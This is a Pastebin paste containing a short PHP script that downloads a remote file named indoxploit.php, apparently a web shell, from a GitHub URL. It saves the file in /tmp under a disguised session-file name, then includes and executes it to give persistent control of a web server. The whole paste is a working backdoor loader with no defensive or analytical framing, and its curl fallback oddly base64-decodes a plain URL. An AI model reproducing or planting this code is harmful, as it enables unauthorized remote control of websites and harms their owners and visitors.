khaclep007

tmp.txt

Sep 1st, 2017
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. <?php
  2. # tmp configuration
  3.  
  4. $URL = 'https://raw.githubusercontent.com/agussetyar/idxv3/master/indoxploit.php'; #
  5. $TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
  6.  
  7. function M() {
  8. $FGT = @file_get_contents($GLOBALS['URL']);
  9. if(!$FGT) {
  10. echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) > {$GLOBALS['TMP']}`;
  11. } else {
  12. $HANDLE = fopen($GLOBALS['TMP'], 'w');
  13. fwrite($HANDLE, $FGT);
  14. fclose($HANDLE);
  15. }
  16. echo '<script>window.location="?indoxploit";</script>';
  17. }
  18. if(file_exists($TMP)) {
  19. if(filesize($TMP) === 0) {
  20. unlink($TMP);
  21. M();
  22. } else {
  23. include($TMP);
  24. }
  25. } else {
  26. M();
  27. }
  28. ?>
Advertisement
Add Comment
Please, Sign In to add comment